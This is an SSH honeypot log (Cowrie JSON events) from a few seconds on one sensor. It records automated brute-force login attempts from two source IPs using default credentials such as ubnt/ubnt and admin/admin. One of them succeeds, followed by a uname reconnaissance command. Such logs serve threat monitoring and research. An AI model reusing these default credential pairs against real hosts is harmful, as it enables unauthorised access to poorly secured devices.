{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.788945Z","src_ip":"192.109.200.78","session":"1a80efcd5e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:57.871117Z","src_ip":"192.109.200.78","session":"1a80efcd5e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:58.117439Z","src_ip":"192.109.200.78","session":"1a80efcd5e85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:58.326390Z","src_ip":"159.203.92.129","session":"4616e05c1b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:59.203375Z","src_ip":"192.109.200.78","session":"1a80efcd5e85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36928,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a297f657234","protocol":"ssh","message":"New connection: 176.65.139.95:36928 (159.203.135.109:22) [session: 0a297f657234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:59.369843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:59.376990Z","src_ip":"176.65.139.95","session":"0a297f657234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:59.479320Z","src_ip":"176.65.139.95","session":"0a297f657234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:59.766420Z","src_ip":"176.65.139.95","session":"0a297f657234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:01.108862Z","src_ip":"176.65.139.95","session":"0a297f657234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47710,"dst_ip":"159.203.135.109","dst_port":22,"session":"5acd1021369f","protocol":"ssh","message":"New connection: 192.109.200.78:47710 (159.203.135.109:22) [session: 5acd1021369f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:01.660774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:01.666243Z","src_ip":"192.109.200.78","session":"5acd1021369f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:01.750484Z","src_ip":"192.109.200.78","session":"5acd1021369f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:01.998384Z","src_ip":"192.109.200.78","session":"5acd1021369f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:03.099337Z","src_ip":"192.109.200.78","session":"5acd1021369f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36942,"dst_ip":"159.203.135.109","dst_port":22,"session":"084272a3cd32","protocol":"ssh","message":"New connection: 176.65.139.95:36942 (159.203.135.109:22) [session: 084272a3cd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.399055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.414010Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.543501Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47742,"dst_ip":"159.203.135.109","dst_port":22,"session":"bedab35a30a0","protocol":"ssh","message":"New connection: 192.109.200.78:47742 (159.203.135.109:22) [session: bedab35a30a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.762768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.774739Z","src_ip":"192.109.200.78","session":"bedab35a30a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.846642Z","src_ip":"192.109.200.78","session":"bedab35a30a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:05.919290Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:06.163568Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:06.167351Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:06.177732Z","src_ip":"192.109.200.78","session":"bedab35a30a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:06.332301Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:06.337783Z","src_ip":"176.65.139.95","session":"084272a3cd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:07.265030Z","src_ip":"192.109.200.78","session":"bedab35a30a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42560,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb6b4e0d4ec0","protocol":"ssh","message":"New connection: 192.109.200.78:42560 (159.203.135.109:22) [session: cb6b4e0d4ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:09.783663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:09.838558Z","src_ip":"192.109.200.78","session":"cb6b4e0d4ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:09.895200Z","src_ip":"192.109.200.78","session":"cb6b4e0d4ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"victor","password":"123456","message":"login attempt [victor/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:10.193527Z","src_ip":"192.109.200.78","session":"cb6b4e0d4ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:11.282639Z","src_ip":"192.109.200.78","session":"cb6b4e0d4ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44504,"dst_ip":"159.203.135.109","dst_port":22,"session":"48f92150dcae","protocol":"ssh","message":"New connection: 176.65.139.95:44504 (159.203.135.109:22) [session: 48f92150dcae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:11.582753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:11.593309Z","src_ip":"176.65.139.95","session":"48f92150dcae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:11.674128Z","src_ip":"176.65.139.95","session":"48f92150dcae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:12.012669Z","src_ip":"176.65.139.95","session":"48f92150dcae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:13.110831Z","src_ip":"176.65.139.95","session":"48f92150dcae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42576,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c26c9137627","protocol":"ssh","message":"New connection: 192.109.200.78:42576 (159.203.135.109:22) [session: 6c26c9137627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:13.840440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:13.845233Z","src_ip":"192.109.200.78","session":"6c26c9137627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:13.928190Z","src_ip":"192.109.200.78","session":"6c26c9137627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:14.176059Z","src_ip":"192.109.200.78","session":"6c26c9137627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:15.261222Z","src_ip":"192.109.200.78","session":"6c26c9137627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44510,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b4b17eef24","protocol":"ssh","message":"New connection: 176.65.139.95:44510 (159.203.135.109:22) [session: d5b4b17eef24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:17.563305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:04:17.567510Z","src_ip":"176.65.139.95","session":"d5b4b17eef24","protocol":"ssh"}
